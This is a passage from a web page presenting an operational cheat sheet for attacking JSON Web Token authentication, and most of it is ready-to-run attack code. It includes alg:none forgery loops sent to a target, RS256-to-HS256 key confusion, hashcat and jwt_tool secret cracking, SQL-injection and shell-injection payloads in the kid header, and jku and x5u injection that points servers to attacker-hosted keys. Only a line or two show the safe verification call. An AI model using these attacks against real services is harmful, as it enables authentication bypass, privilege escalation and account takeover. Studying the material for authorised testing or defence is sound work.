ᛉ Yggdrasil

Web

JWT Attacks

15 Sep 2026 · 7,568 words · 34 min

Contents

A complete operational reference for JWT Attacks covering token structure, algorithm confusion, none algorithm bypass, signature validation flaws, weak secret cracking, key confusion (RS256→HS256), header injection (jwks_uri / kid / x5u), claim manipulation, embedded attacks (SQLi/SSTI in claims), JWT in SSO/OAuth flows, automation with jwt_tool & hashcat, and remediation. Mapped to MITRE ATT&CK T1550 / T1190 / T1134.


1. Core Concepts & JWT Structure

JWT ATTACK TAXONOMY:

JWT ATTACKS
├── SIGNATURE BYPASS
│   ├── None algorithm — set alg: "none", strip signature
│   ├── Algorithm confusion — RS256 → HS256 (use public key as HMAC secret)
│   ├── ECDSA signature bypass — CVE-2022-21449 (blank r/s values)
│   └── Weak secret cracking — offline brute-force of HS256/384/512 key
│
├── KEY INJECTION (Header Parameters)
│   ├── jwk — embed attacker-controlled public key in header
│   ├── jku — point to attacker-controlled JWKS URL
│   ├── x5u / x5c — point to attacker-controlled X.509 cert
│   └── kid — inject path traversal or SQLi into Key ID lookup
│
├── CLAIM MANIPULATION
│   ├── sub / user_id / role — privilege escalation
│   ├── exp / nbf / iat — token lifetime manipulation
│   ├── aud / iss — audience/issuer spoofing
│   └── Embedded SQLi / SSTI / SSRF in claim values
│
└── FLOW ATTACKS (OAuth / SSO)
    ├── Token substitution — swap tokens across endpoints
    ├── JWT replay — reuse valid tokens across sessions
    └── Algorithm downgrade in OAuth server responses

Key Terms: - JWT (JSON Web Token) — base64url-encoded, dot-separated: header.payload.signature. Signed but NOT encrypted by default — payload is visible to anyone. - JWS (JSON Web Signature) — the signed form of JWT (most common). Three parts: header, payload, signature. - JWE (JSON Web Encryption) — encrypted JWT. Five parts: header, encrypted key, IV, ciphertext, tag. Rare in web apps. - JOSE Header — the JWT header containing metadata: alg, typ, and optional injection parameters (kid, jku, jwk, x5u, x5c). - alg — algorithm field in header. Defines how the signature is computed/verified. Attacker-controlled in many implementations. - HS256/384/512 — HMAC-SHA symmetric algorithms. Same key signs AND verifies. Secret must stay private. - RS256/384/512 — RSA asymmetric algorithms. Private key signs, public key verifies. Public key is meant to be shared. - ES256/384/512 — ECDSA asymmetric algorithms. Similar to RSA but using elliptic curves. - JWKS (JSON Web Key Set) — JSON endpoint exposing public keys for JWT verification. Common: /.well-known/jwks.json. - Algorithm Confusion — server uses the public RS256 key as the HS256 HMAC secret, allowing forging of tokens. - kid (Key ID) — optional header parameter to select which key to use for verification. If passed to file read or DB query unsanitized → path traversal / SQLi. - jku (JWK Set URL) — URL pointing to a JWKS. If server fetches this URL unsanitized → SSRF + signature forging.

JWT Structure — Decoded:

ENCODED JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4iLCJyb2xlIjoidXNlciIsImlhdCI6MTUxNjIzOTAyMn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

PART 1 — Header (base64url decoded):
{
  "alg": "HS256",      ← algorithm — ATTACKER TARGET
  "typ": "JWT"         ← type
}

PART 2 — Payload (base64url decoded):
{
  "sub": "1234",       ← subject (user ID) — ATTACKER TARGET
  "name": "John",
  "role": "user",      ← role/privilege — ATTACKER TARGET
  "iat": 1516239022,   ← issued at
  "exp": 1716239022    ← expiry — ATTACKER TARGET
}

PART 3 — Signature (raw bytes, base64url encoded):
HMACSHA256(
  base64url(header) + "." + base64url(payload),
  secret
)

SEPARATOR: Dots (.) between each part — never inside base64url segments

Base64url vs Base64:

# Base64url: uses - instead of + and _ instead of /; NO padding (=)
# Standard Base64 → Base64url:
echo "standard+base64/string==" | tr '+/' '-_' | tr -d '='

# Decode JWT payload manually:
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwicGVybXMiOiJ1c2VyIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
HEADER=$(echo $TOKEN | cut -d'.' -f1 | tr '_-' '/+' | base64 -d 2>/dev/null)
PAYLOAD=$(echo $TOKEN | cut -d'.' -f2 | tr '_-' '/+' | base64 -d 2>/dev/null)
echo "Header:  $HEADER"
echo "Payload: $PAYLOAD"

# Or with Python:
python3 -c "
import base64, json, sys
token = 'YOUR_JWT_HERE'
parts = token.split('.')
for i, p in enumerate(parts[:2]):
    pad = '=' * (-len(p) % 4)
    d = base64.urlsafe_b64decode(p + pad)
    print(['Header','Payload'][i] + ':', json.loads(d))
"

Why JWT Attacks Work:

// VULNERABLE — server trusts algorithm from the token header:
const jwt = require('jsonwebtoken');
const publicKey = fs.readFileSync('public.pem');

// Attacker changes header: "alg": "RS256" → "alg": "HS256"
// Server verifies with: jwt.verify(token, publicKey)  ← publicKey used as HS256 secret!
// Attacker signs with:  jwt.sign(payload, publicKey, {algorithm: 'HS256'})
// Verification passes because attacker used the same "key" (publicKey as HMAC key)

// SAFE — explicitly specify expected algorithm:
jwt.verify(token, publicKey, { algorithms: ['RS256'] });
// Now HS256 tokens are REJECTED regardless of what the header says

2. Detection & Injection Points

2.1 Where JWTs Appear

→ Authorization header:    Authorization: Bearer eyJhbGci...
→ Cookie:                  session=eyJhbGci...   token=eyJhbGci...   jwt=eyJhbGci...
→ POST body field:         {"token": "eyJhbGci..."}
→ URL parameter:           ?token=eyJhbGci...   ?auth=eyJhbGci...
→ Custom headers:          X-Auth-Token: eyJhbGci...   X-Access-Token: eyJhbGci...
→ WebSocket handshake:     ws://target.com/chat?token=eyJhbGci...
→ GraphQL:                 {"query":"...", "token":"eyJhbGci..."}
→ OAuth access tokens:     returned by /oauth/token, used in API Bearer headers
→ SSO SAML alternative:    some SSO providers use JWTs instead of SAML assertions

2.2 JWT Identification

# A JWT always:
# 1. Starts with "ey" (base64url of {"  which is 7B 22)
# 2. Has exactly 2 or 4 dots (JWS: 2 dots, JWE: 4 dots)
# 3. Contains only: A-Z a-z 0-9 - _ .

# Quick check — decode the header:
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d 2>/dev/null
# → {"alg":"HS256","typ":"JWT"}

# Identify algorithm and injection surface:
TOKEN=$(curl -s -X POST https://target.com/api/login \
  -d '{"username":"test","password":"test"}' | jq -r '.token')

# Decode header:
echo $TOKEN | cut -d'.' -f1 | base64 -d 2>/dev/null | python3 -m json.tool

# Decode payload:
echo $TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool

# Check for dangerous header params:
echo $TOKEN | cut -d'.' -f1 | base64 -d 2>/dev/null | grep -E '"kid"|"jku"|"jwk"|"x5u"|"x5c"'

2.3 Algorithm Enumeration

# Common algorithms to identify:
# HS256 / HS384 / HS512 → HMAC-SHA (symmetric, secret key)
# RS256 / RS384 / RS512 → RSA (asymmetric, pub/priv keypair)
# ES256 / ES384 / ES512 → ECDSA (asymmetric, elliptic curve)
# PS256 / PS384 / PS512 → RSA-PSS (asymmetric)
# none                  → no signature (should NEVER be accepted in prod)
# EdDSA                 → Edwards-curve DSA (newer)

# Attack surface by algorithm:
# HS*  → weak secret crack, algorithm confusion (if server also accepts RS*)
# RS*  → algorithm confusion (RS256→HS256), jku/jwk/x5u injection
# ES*  → CVE-2022-21449 "Psychic Signatures" (Java < 15.0.7)
# none → none algorithm bypass

# Identify via header:
ALGO=$(echo $TOKEN | cut -d'.' -f1 | base64 -d 2>/dev/null | jq -r '.alg')
echo "Algorithm: $ALGO"

2.4 Checking for JWKS Endpoint

# Common JWKS locations:
curl -s https://target.com/.well-known/jwks.json | jq .
curl -s https://target.com/.well-known/openid-configuration | jq .  # includes jwks_uri
curl -s https://target.com/api/auth/keys | jq .
curl -s https://target.com/oauth2/v1/keys | jq .
curl -s https://target.com/.well-known/oauth-authorization-server | jq .

# Sample JWKS response:
{
  "keys": [
    {
      "kty": "RSA",
      "use": "sig",
      "kid": "key-2024-01",          ← Key ID — match against JWT header kid
      "n": "0vx7agoebGcQSuuPiLJXZp...",  ← RSA modulus (public key component)
      "e": "AQAB"                    ← RSA exponent (65537)
    }
  ]
}

# Convert JWKS public key to PEM (for algorithm confusion attack):
python3 -c "
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import base64, json

# Paste n and e from JWKS:
n_b64 = 'YOUR_N_VALUE_HERE'
e_b64 = 'AQAB'

def b64url_to_int(b):
    pad = '=' * (-len(b) % 4)
    return int.from_bytes(base64.urlsafe_b64decode(b + pad), 'big')

pub = RSAPublicNumbers(b64url_to_int(e_b64), b64url_to_int(n_b64)).public_key(default_backend())
pem = pub.public_bytes(serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo)
print(pem.decode())
"

3. JWT Attack Decision Tree

Got a JWT? Decode header and payload first.
│
├── Check algorithm (alg field):
│   │
│   ├── alg = "none" already? → test None Algorithm Bypass (Section 5)
│   │   └── Strip signature, keep trailing dot: header.payload.
│   │
│   ├── alg = "HS256/384/512"?
│   │   ├── Try brute-force/crack the secret → Section 6
│   │   │   └── hashcat -a 0 -m 16500 jwt.txt wordlist.txt
│   │   ├── Try "none" bypass → Section 5
│   │   └── Does the server also support RS256? → try Algorithm Confusion
│   │
│   ├── alg = "RS256/384/512"?
│   │   ├── Is public key available (JWKS endpoint, source code, error message)?
│   │   │   └── Algorithm Confusion RS256→HS256 attack → Section 4
│   │   ├── Check header for jku / jwk / x5u / x5c params → Sections 7–10
│   │   └── Try "none" bypass → Section 5
│   │
│   └── alg = "ES256"?
│       └── Is target Java < 15.0.7 / Android < 8.0? → CVE-2022-21449 → Section 14
│
├── Check header params:
│   ├── "kid" present? → kid injection → Section 8
│   ├── "jku" present? → jku injection → Section 10
│   ├── "jwk" present? → jwk injection → Section 7
│   └── "x5u" / "x5c" present? → x5u injection → Section 9
│
├── Check payload claims:
│   ├── "role", "admin", "isAdmin", "group", "permissions"?
│   │   └── Modify to elevate privileges (requires forging signature)
│   ├── "sub", "user_id", "uid", "username"?
│   │   └── Change to target another user's resources (IDOR via JWT)
│   ├── "exp" — is it in the past?
│   │   └── Test if server accepts expired tokens (missing validation)
│   └── "iss", "aud" — trusted values?
│       └── Test cross-service token substitution
│
└── Test for embedded injection (Section 12):
    ├── SQLi in "kid" → ' OR 1=1-- -
    ├── Path traversal in "kid" → ../../dev/null
    ├── SSTI in username/name claims rendered in templates
    └── SSRF via "jku" / "x5u" pointing to internal resources

4. Algorithm Confusion — RS256 → HS256

4.1 Concept

When a server uses RS256, it has a private key (secret) and a public key (shared). The algorithm confusion attack tricks the server into using its own public key as the HMAC secret for HS256 verification — because the public key is known to the attacker.

NORMAL RS256:
  Sign:   jwt_sign(header+payload, PRIVATE_KEY, alg=RS256)
  Verify: jwt_verify(token, PUBLIC_KEY, alg=RS256)

ATTACK:
  Attacker changes alg from RS256 → HS256 in header
  Attacker signs:    jwt_sign(header+payload, PUBLIC_KEY, alg=HS256)
  Server verifies:   jwt_verify(token, PUBLIC_KEY)  ← still uses PUBLIC_KEY
  If server uses PUBLIC_KEY for both → HMAC(payload, PUBLIC_KEY) matches → BYPASS

4.2 Step-by-Step Attack

# STEP 1: Get the server's public key
# Option A: JWKS endpoint
curl -s https://target.com/.well-known/jwks.json

# Option B: From an existing valid RS256 token (jwt_tool can extract it)
python3 jwt_tool.py TOKEN_HERE -jw

# Option C: From server TLS cert (sometimes same key)
openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -pubkey -noout

# STEP 2: Convert the public key to the exact format needed
# If you have a JWK, convert to PEM:
python3 -c "
import json, base64
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

jwk = json.loads('{\"n\":\"YOUR_N\",\"e\":\"AQAB\"}')
def b64i(x):
    return int.from_bytes(base64.urlsafe_b64decode(x + '=='), 'big')

pub = RSAPublicNumbers(b64i(jwk['e']), b64i(jwk['n'])).public_key(default_backend())
print(pub.public_bytes(serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo).decode())
" > public.pem

# STEP 3: Forge the token using the public key as HS256 secret
python3 -c "
import jwt, base64

# Read public key bytes exactly (including header/footer/newlines):
with open('public.pem', 'r') as f:
    public_key = f.read()

# Payload with elevated privileges:
payload = {
    'sub': '1234',
    'username': 'administrator',
    'role': 'admin',
    'iat': 1700000000,
    'exp': 9999999999
}

# Sign with HS256 using the public key as the secret:
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"

# STEP 4: Use the forged token
curl -s https://target.com/api/admin \
  -H "Authorization: Bearer FORGED_TOKEN_HERE"

4.3 Using jwt_tool for Algorithm Confusion

# jwt_tool automates the RS256 → HS256 attack:
# -X a → algorithm confusion attack
# -pk → public key file

python3 jwt_tool.py TOKEN_HERE -X a -pk public.pem

# With payload tampering:
python3 jwt_tool.py TOKEN_HERE -X a -pk public.pem -I -pc role -pv admin

# If you need to extract/derive the public key from two tokens:
python3 jwt_tool.py TOKEN1 TOKEN2 -C -d                  # attempt key derivation (HS only)

4.4 Edge Cases

# Some servers use DER-encoded public key instead of PEM as the HMAC key:
# Convert PEM to DER:
openssl rsa -pubin -in public.pem -outform DER -out public.der 2>/dev/null

# Sign using raw DER bytes:
python3 -c "
import jwt
with open('public.der', 'rb') as f:
    key = f.read()
payload = {'sub': '1234', 'role': 'admin', 'exp': 9999999999}
token = jwt.encode(payload, key, algorithm='HS256')
print(token)
"

# Some libraries strip PEM header/footer before using as key:
# Try the base64 body only (without -----BEGIN... lines):
grep -v '\-\-\-\-\-' public.pem | tr -d '\n' | base64 -d > raw_key.bin
python3 -c "
import jwt
key = open('raw_key.bin', 'rb').read()
token = jwt.encode({'sub': '1', 'role': 'admin', 'exp': 9999999999}, key, algorithm='HS256')
print(token)
"

5. None Algorithm Bypass

5.1 Concept

Some JWT libraries accept alg: "none" — meaning no signature is needed. If the server doesn't explicitly reject tokens with alg: none, you can forge any payload without a valid signature.

NORMAL JWT:     header.payload.signature
NONE ATTACK:    header_none.payload.           ← empty signature, dot kept

5.2 Manual Construction

# STEP 1: Build header with alg=none (various capitalizations to bypass filters):
# Variations to try:
NONE_HEADERS=(
  '{"alg":"none","typ":"JWT"}'
  '{"alg":"None","typ":"JWT"}'
  '{"alg":"NONE","typ":"JWT"}'
  '{"alg":"nOnE","typ":"JWT"}'
  '{"alg":"","typ":"JWT"}'
)

# STEP 2: Base64url encode without padding:
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr '+/' '-_' | tr -d '='
# → eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

# STEP 3: Build malicious payload:
echo -n '{"sub":"1234","role":"admin","exp":9999999999}' | base64 | tr '+/' '-_' | tr -d '='
# → eyJzdWIiOiIxMjM0Iiwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ

# STEP 4: Concatenate with empty signature (trailing dot!):
TOKEN="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0Iiwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ."
# Note the trailing dot — required (3 parts, signature part is empty)

# Test all variations:
for ALG in none None NONE nOnE NoNe; do
  HEADER=$(echo -n "{\"alg\":\"$ALG\",\"typ\":\"JWT\"}" | base64 | tr '+/' '-_' | tr -d '=')
  PAYLOAD=$(echo -n '{"sub":"1234","role":"admin","exp":9999999999}' | base64 | tr '+/' '-_' | tr -d '=')
  TOKEN="${HEADER}.${PAYLOAD}."
  echo "Testing alg=$ALG: $TOKEN"
  curl -s https://target.com/api/profile -H "Authorization: Bearer $TOKEN" | head -c 200
  echo
done

5.3 Python Script — None Bypass

#!/usr/bin/env python3
import base64
import json
import requests

def b64url_encode(data):
    if isinstance(data, str):
        data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

def forge_none_jwt(payload: dict, alg_variations=None):
    """Forge a JWT with no algorithm (no signature required)."""
    if alg_variations is None:
        alg_variations = ["none", "None", "NONE", "nOnE", "NoNe", ""]

    tokens = []
    for alg in alg_variations:
        header = {"alg": alg, "typ": "JWT"}
        h = b64url_encode(json.dumps(header, separators=(',', ':')))
        p = b64url_encode(json.dumps(payload, separators=(',', ':')))
        token = f"{h}.{p}."  # trailing dot — empty signature
        tokens.append((alg, token))

    return tokens

payload = {
    "sub": "1234",
    "username": "administrator",
    "role": "admin",
    "iat": 1700000000,
    "exp": 9999999999
}

for alg, token in forge_none_jwt(payload):
    resp = requests.get(
        "https://target.com/api/admin",
        headers={"Authorization": f"Bearer {token}"}
    )
    print(f"alg={alg!r} → {resp.status_code}: {resp.text[:100]}")

5.4 jwt_tool — None Bypass

# Automated none algorithm bypass with jwt_tool:
python3 jwt_tool.py TOKEN_HERE -X a

# With claim injection:
python3 jwt_tool.py TOKEN_HERE -X a -I -pc role -pv admin

# Tamper a specific claim and apply none:
python3 jwt_tool.py TOKEN_HERE -T -X a
# (interactive: choose which claim to modify)

6. Weak Secret / Brute Force (HS256/384/512)

6.1 Concept

HS256/HS384/HS512 JWTs are signed with a shared secret. If the secret is weak or common, it can be cracked offline using the token alone — no server interaction needed.

Signature = HMAC-SHA256(base64url(header) + "." + base64url(payload), SECRET)

Crack: try all words in wordlist → compute HMAC → compare with signature

6.2 hashcat — Fastest Option

# hashcat mode 16500 = JWT (HS256/384/512 all handled automatically)

# Save the full JWT to a file:
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0In0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" > jwt.txt

# Crack with RockYou:
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

# With rules (more coverage):
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Brute force short secrets (up to 8 chars):
hashcat -a 3 -m 16500 jwt.txt ?a?a?a?a?a?a?a?a

# Brute force numbers only (common for dev secrets):
hashcat -a 3 -m 16500 jwt.txt ?d?d?d?d?d?d

# Custom charset — alphanumeric only:
hashcat -a 3 -m 16500 jwt.txt -1 ?l?u?d ?1?1?1?1?1?1?1?1

# Show cracked result:
hashcat -m 16500 jwt.txt --show

# GPU acceleration — much faster, same syntax just add --force if needed:
hashcat -a 0 -m 16500 jwt.txt rockyou.txt --force

6.3 john — Alternative

# John the Ripper with JWT format:
john --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt --format=HMAC-SHA256

# Show result:
john jwt.txt --show --format=HMAC-SHA256

6.4 jwt_tool — Built-in Cracker

# jwt_tool built-in wordlist crack:
python3 jwt_tool.py TOKEN_HERE -C -d /usr/share/wordlists/rockyou.txt

# -C = crack, -d = dictionary
# For HS384/512: jwt_tool detects from header automatically

6.5 After Cracking — Forge Token

# Once secret is found (e.g., "secret"):
python3 -c "
import jwt

SECRET = 'secret'  # cracked secret

payload = {
    'sub': '1234',
    'username': 'administrator',
    'role': 'admin',
    'iat': 1700000000,
    'exp': 9999999999
}

token = jwt.encode(payload, SECRET, algorithm='HS256')
print(token)
"

# Or with jwt_tool (tamper + resign):
python3 jwt_tool.py TOKEN_HERE -I -pc role -pv admin -S hs256 -p 'secret'

6.6 Common Weak Secrets to Try First

secret          password        123456          test
jwt_secret      mysecret        changeme        supersecret
your-secret     your-256-bit    qwerty          letmein
admin           key             token           jwt
HS256           RS256           secret123       password123
1234567890      abcdefgh        AAAAAAAAAA      ""  (empty string)
# Test empty string secret:
python3 -c "
import jwt
try:
    data = jwt.decode(TOKEN, '', algorithms=['HS256'])
    print('EMPTY SECRET:', data)
except Exception as e:
    print('Failed:', e)
"

7. Header Injection — jwks_uri

7.1 Concept

Some JWT libraries support a jwk header parameter — an embedded JSON Web Key. If the server uses the key embedded in the token header (rather than a trusted external key), an attacker can embed their own RSA public key, sign the token with the matching private key, and the server will accept it.

7.2 JWK Header Injection Attack

# STEP 1: Generate RSA keypair:
openssl genrsa -out attacker_private.pem 2048
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem

# STEP 2: Get the JWK representation of your public key:
python3 -c "
from cryptography.hazmat.primitives.serialization import load_pem_public_key
from cryptography.hazmat.backends import default_backend
import base64, json

with open('attacker_public.pem', 'rb') as f:
    pub = load_pem_public_key(f.read(), default_backend())

pub_numbers = pub.public_key().public_numbers() if hasattr(pub, 'public_key') else pub.public_numbers()

def int_to_b64url(n):
    length = (n.bit_length() + 7) // 8
    return base64.urlsafe_b64encode(n.to_bytes(length, 'big')).rstrip(b'=').decode()

jwk = {
    'kty': 'RSA',
    'use': 'sig',
    'alg': 'RS256',
    'n': int_to_b64url(pub_numbers.n),
    'e': int_to_b64url(pub_numbers.e)
}
print(json.dumps(jwk, indent=2))
"

# STEP 3: Build JWT with embedded JWK in header using jwt_tool:
python3 jwt_tool.py TOKEN_HERE -X i -ju 'https://attacker.com/jwks.json'
# -X i = inject jwk

7.3 jwt_tool — Automated JWK Injection

# jwt_tool handles key generation and JWK embedding automatically:
# Embedded JWK attack:
python3 jwt_tool.py TOKEN_HERE -X i

# With claim tampering:
python3 jwt_tool.py TOKEN_HERE -X i -I -pc role -pv admin -pc sub -pv administrator

# View what was injected:
python3 jwt_tool.py FORGED_TOKEN -D

8. Header Injection — kid (Key ID)

8.1 Concept

The kid (Key ID) header parameter tells the server which key to use for verification. The server may use this value to: - Look up a key from a database (SQL query) - Read a key from the filesystem (file path) - Select from an in-memory key store

All of these are potential injection surfaces.

8.2 Path Traversal via kid

# If kid is used to read a key file:
# Server code (vulnerable):  key = open(f"/keys/{kid}.pem").read()
# Inject a path that resolves to a file with KNOWN content:

# Target /dev/null → empty string → HMAC("", "") → sign with empty string:
MALICIOUS_KID="../../dev/null"

# Build JWT with kid=../../dev/null and sign with empty string:
python3 -c "
import jwt, json, base64

def b64url(s):
    return base64.urlsafe_b64encode(s.encode() if isinstance(s,str) else s).rstrip(b'=').decode()

header = {
    'alg': 'HS256',
    'typ': 'JWT',
    'kid': '../../dev/null'   # or /dev/null for some path constructions
}
payload = {
    'sub': '1234',
    'role': 'admin',
    'exp': 9999999999
}

h = b64url(json.dumps(header, separators=(',', ':')))
p = b64url(json.dumps(payload, separators=(',', ':')))

import hmac, hashlib
sig = hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()
s = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()

print(f'{h}.{p}.{s}')
"

# Or with jwt_tool (path traversal to known content):
python3 jwt_tool.py TOKEN_HERE -I -hc kid -hv '../../dev/null' -S hs256 -p ''

8.3 SQL Injection via kid

# If kid is used in a SQL query:
# Server code (vulnerable): key = db.query(f"SELECT key FROM keys WHERE kid = '{kid}'")

# SQL injection payloads as kid value:
# Union-based — return a controlled string as the key:
"kid_injection' UNION SELECT 'attacker_controlled_secret'-- -"
"x' UNION SELECT 'mysecret' FROM dual-- -"

# Build JWT signed with the injected "key":
python3 jwt_tool.py TOKEN_HERE \
  -I -hc kid -hv "x' UNION SELECT 'mysecret'-- -" \
  -S hs256 -p 'mysecret'

# PostgreSQL:
"x' UNION SELECT 'mysecret'::text-- -"

# SQLite:
"x' UNION SELECT 'mysecret'-- -"

# Test if server reflects errors:
"x'-- -"              # break the query → server error → SQLi confirmed
"x' OR '1'='1"        # true condition
"x' AND '1'='2"       # false condition

8.4 kid — Command Injection (Rare)

# If kid value is passed to a shell command (very rare but exists):
# Server: os.system(f"keyloader --id {kid}")

# Test payloads:
"test; id #"
"test | id"
"test && id"
"test`id`"
"test$(id)"

9. Header Injection — x5u / x5c

9.1 x5u — URL-Based Certificate Injection

# x5u header parameter: URL pointing to X.509 certificate chain
# If server fetches the x5u URL and uses the certificate's public key for verification:

# STEP 1: Generate self-signed certificate:
openssl req -x509 -nodes -newkey rsa:2048 \
  -keyout attacker.key \
  -out attacker.crt \
  -subj "/CN=attacker" \
  -days 3650

# STEP 2: Host the certificate (must be reachable by server):
python3 -m http.server 8888 &
# OR: use a public attacker server / Burp Collaborator

# STEP 3: Build JWT with x5u pointing to your cert:
python3 jwt_tool.py TOKEN_HERE -X i -ju 'http://ATTACKER_IP:8888/attacker.crt'
# (jwt_tool -X i handles x5u injection too; verify with -hc x5u)

# Manual approach:
python3 -c "
import jwt, json

# Sign with attacker private key, set x5u to hosted cert:
header = {
    'alg': 'RS256',
    'typ': 'JWT',
    'x5u': 'http://ATTACKER_IP:8888/attacker.crt'
}
payload = {'sub': '1234', 'role': 'admin', 'exp': 9999999999}

private_key = open('attacker.key').read()
token = jwt.encode(payload, private_key, algorithm='RS256', headers=header)
print(token)
"

9.2 x5c — Embedded Certificate Injection

# x5c: base64-encoded X.509 certificate embedded directly in the JWT header
# If server uses the embedded cert's public key for verification:

# STEP 1: Generate cert and get base64:
openssl req -x509 -nodes -newkey rsa:2048 -keyout a.key -out a.crt -subj "/CN=x" -days 3650
CERT_B64=$(cat a.crt | grep -v '\-\-\-\-\-' | tr -d '\n')

# STEP 2: Build JWT with x5c array:
python3 -c "
import jwt

header = {
    'alg': 'RS256',
    'x5c': ['$CERT_B64']   # array of base64-encoded DER certs
}
payload = {'sub': '1', 'role': 'admin', 'exp': 9999999999}
token = jwt.encode(payload, open('a.key').read(), algorithm='RS256', headers=header)
print(token)
"

10. Header Injection — jku

10.1 Concept

jku (JWK Set URL) is a header parameter pointing to a URL where the server should fetch the JWKS for verification. If the server fetches this URL without proper origin validation, you can host your own JWKS and sign the JWT with the corresponding private key.

10.2 jku Attack

# STEP 1: Generate RSA keypair:
openssl genrsa -out attacker_private.pem 2048
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem

# STEP 2: Build your JWKS (JSON) to host:
python3 -c "
from cryptography.hazmat.primitives.serialization import load_pem_public_key
from cryptography.hazmat.backends import default_backend
import base64, json

pub = load_pem_public_key(open('attacker_public.pem','rb').read(), default_backend())
n = pub.public_numbers()

def i2b64(x):
    l = (x.bit_length() + 7) // 8
    return base64.urlsafe_b64encode(x.to_bytes(l,'big')).rstrip(b'=').decode()

jwks = {
    'keys': [{
        'kty': 'RSA',
        'use': 'sig',
        'kid': 'attacker-key-1',
        'alg': 'RS256',
        'n': i2b64(n.n),
        'e': i2b64(n.e)
    }]
}
print(json.dumps(jwks, indent=2))
" > attacker_jwks.json

# STEP 3: Host the JWKS file:
python3 -m http.server 8888

# STEP 4: Forge JWT with jku pointing to your server:
python3 -c "
import jwt

header = {
    'alg': 'RS256',
    'jku': 'http://ATTACKER_IP:8888/attacker_jwks.json',
    'kid': 'attacker-key-1'
}
payload = {'sub': '1234', 'role': 'admin', 'exp': 9999999999}
token = jwt.encode(payload, open('attacker_private.pem').read(), algorithm='RS256', headers=header)
print(token)
"

# STEP 5: Watch your web server for requests — confirms server fetches jku

# jwt_tool automated jku injection:
python3 jwt_tool.py TOKEN_HERE -X s -ju 'http://ATTACKER_IP:8888/attacker_jwks.json'

10.3 Open Redirect + jku Chain

# If server checks that jku host matches its own domain but follows redirects:
# Use an open redirect on the target to point to your JWKS:

# Find open redirect: https://target.com/redirect?url=http://attacker.com/jwks.json
# Use this as jku:
python3 jwt_tool.py TOKEN_HERE -X s \
  -ju 'https://target.com/redirect?url=http://ATTACKER_IP:8888/jwks.json'

11. Claim Manipulation

11.1 Privilege Escalation via Claims

# Common privilege claims to modify:
# Once you can forge a token (via any of the above attacks), modify:
# role: "user" → "admin"
# isAdmin: false → true
# group: "users" → "administrators"
# permissions: ["read"] → ["read","write","delete","admin"]
# plan: "free" → "enterprise"

# Common privilege claim locations in payload:
{
  "sub": "1234",
  "role": "admin",          ← most common
  "isAdmin": true,          ← boolean flag
  "groups": ["admin"],      ← array membership
  "scope": "admin:read admin:write",  ← OAuth scope
  "permissions": ["*"],     ← wildcard
  "tier": "premium",        ← feature tier
  "level": 99               ← numeric level
}

# Tamper with jwt_tool:
python3 jwt_tool.py TOKEN_HERE -I -pc role -pv admin
python3 jwt_tool.py TOKEN_HERE -I -pc isAdmin -pv true
python3 jwt_tool.py TOKEN_HERE -I -pc sub -pv 1         # IDOR to user ID 1
python3 jwt_tool.py TOKEN_HERE -I -pc username -pv administrator

11.2 IDOR via sub / user_id

# JWT sub (subject) identifies the user
# If ACL is JWT-only (no server-side check), changing sub = IDOR:

# Example: access /api/users/profile for user ID 1 (admin):
python3 jwt_tool.py TOKEN_HERE -I -pc sub -pv 1 -S hs256 -p 'cracked_secret'

# Or combine with none algorithm bypass:
python3 jwt_tool.py TOKEN_HERE -I -pc sub -pv 1 -X a   # none alg, change sub

11.3 Expired Token — Missing exp Validation

# Test if server accepts expired tokens:
# Modify exp to a past timestamp (or remove it entirely):

# Remove exp claim:
python3 jwt_tool.py TOKEN_HERE -I -pd exp

# Set exp to past date:
python3 jwt_tool.py TOKEN_HERE -I -pc exp -pv 1  # Unix timestamp 1970

# Or just send an expired token without modifying it:
# Some servers skip expiry validation entirely
curl -s https://target.com/api/me \
  -H "Authorization: Bearer EXPIRED_TOKEN"

11.4 nbf / iat Manipulation

# nbf (not before) — token invalid before this time
# If you have a future-dated token that's "not yet valid":

# Remove nbf:
python3 jwt_tool.py TOKEN_HERE -I -pd nbf

# Set nbf to past:
python3 jwt_tool.py TOKEN_HERE -I -pc nbf -pv 0

# iat manipulation — rarely enforced, but can affect session logic
python3 jwt_tool.py TOKEN_HERE -I -pc iat -pv 0

11.5 Audience (aud) and Issuer (iss) Confusion

# Token substitution between services in same SSO ecosystem:
# Service A issues token with aud: "service-a"
# Service B requires aud: "service-b"
# If Service B doesn't validate aud → accept Service A's token

# Test by sending Service A's token to Service B's endpoints

# iss manipulation — if server doesn't validate issuer:
